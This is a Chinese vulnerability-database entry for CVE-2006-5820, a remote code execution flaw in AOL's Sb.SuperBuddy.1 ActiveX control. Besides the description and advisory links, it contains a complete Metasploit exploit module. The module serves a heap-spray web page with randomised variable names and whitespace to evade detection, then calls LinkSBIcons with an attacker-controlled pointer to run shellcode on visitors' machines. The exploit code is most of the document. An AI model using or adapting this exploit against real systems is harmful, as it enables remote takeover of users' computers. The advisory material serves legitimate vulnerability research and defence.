AOL SB.SuperBuddy.1 ActiveX控件远程代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112629 漏洞类型 设计错误
发布时间 2007-04-04 更新时间 2007-11-15
CVE编号 CVE-2006-5820 CNNVD-ID CNNVD-200704-008
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/3662
https://www.securityfocus.com/bid/23224
https://cxsecurity.com/issue/WLB-2007040021
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-008
|漏洞详情
AmericaOnline是美国在线发布的基于InternetExplorer技术的客户端软件,可提供安全性和可用性功能。AOL的Sb.SuperBuddy.1控件的LinkSBIcons()方式在处理用户输入时存在远程代码执行漏洞,远程攻击者可能利用此漏洞控制用户机器。该控件的CLSID如下:189504B8-50D1-4AA8-B4D6-95C8F58A6414受影响的控件实现IObjectSafety接口,因此允许Web站点在默认的InternetExplorer设置中无需任何用户交互便可以调用控件。有漏洞的方法定义为:intLinkSBIcons(IUnknown*interface)上述方法接受指定了对象指针的用户可控值,因此之后的函数调用完全受攻击者控制,导致以登录用户的权限执行任意指令
|漏洞EXP
require 'msf/core'

module Msf

class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote

	include Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AOL Sb.Superbuddy vulnerability',
			'Description'    => %q{
				This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[ 
					'kradchad',
					'leetpete'
				],
			'Version'        => '0.1',
			'References'     => 
				[
					[ 'CVE', 'CVE-2006-5820']
				],
			'Payload'        =>
				{
					'Space'          => 1024,
					'BadChars'       => "\x00",
	
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
				],
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end
	
	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		
		# Get a unicode friendly version of the return address
		addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

		# Randomize the javascript variable names	
		var_buffer    = rand_text_alpha(rand(30)+2)
		var_shellcode = rand_text_alpha(rand(30)+2)
		var_unescape  = rand_text_alpha(rand(30)+2)
		var_x         = rand_text_alpha(rand(30)+2)
		var_i         = rand_text_alpha(rand(30)+2)
		var_tic       = rand_text_alpha(rand(30)+2)
		var_toc       = rand_text_alpha(rand(30)+2)
		
		# Randomize HTML data
		html          = rand_text_alpha(rand(30)+2)
		
		# Build out the message
		content = %Q|
<html>
<head>
	<script>
	try {
	
	var #{var_unescape}  = unescape ;
	var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
	
	var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
	while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

	var #{var_x} = new Array() ;	
	for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
		#{var_x}[ #{var_i} ] = 		
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
	}
	
	
   	var #{var_tic} = new ActiveXObject( 'Sb.SuperBuddy.1' );	
	try { #{var_tic}.LinkSBIcons( #{target.ret} ) ; } catch( e ) { }

	
	} catch( e ) { window.location = 'about:blank' ; }
	
	</script>
</head>
<body>
#{html}
</body>
</html>		
		|

		# Randomize the whitespace in the document
		content.gsub!(/\s+/) do |s|
			len = rand(100)+2
			set = "\x09\x20\x0d\x0a"
			buf = ''
			
			while (buf.length < len)
				buf << set[rand(set.length)].chr
			end
			
			buf
		end
		
		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
	end

end

end

# milw0rm.com [2007-04-04]
|受影响的产品
AOL Client Software 9.0 Security
|参考资料

来源:VU#478225
名称:VU#478225
链接:http://www.kb.cert.org/vuls/id/478225
来源:MISC
链接:http://www.tippingpoint.com/security/advisories/TSRT-07-03.html
来源:BUGTRAQ
名称:20070330TSRT-07-03:AmericaOnlineSuperBuddyActiveXControlCodeExecutionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/464313/100/0/threaded
来源:OSVDB
名称:34318
链接:http://osvdb.org/34318
来源:XF
名称:aol-superbuddy-activex-code-execution(33347)
链接:http://xforce.iss.net/xforce/xfdb/33347
来源:BID
名称:23224
链接:http://www.securityfocus.com/bid/23224
来源:VUPEN
名称:ADV-2007-1184
链接:http://www.frsirt.com/english/advisories/2007/1184
来源:SREASON
名称:2513
链接:http://securityreason.com/securityalert/2513
来源:SECUNIA
名称:24714
链接:http://secunia.com/advisories/24714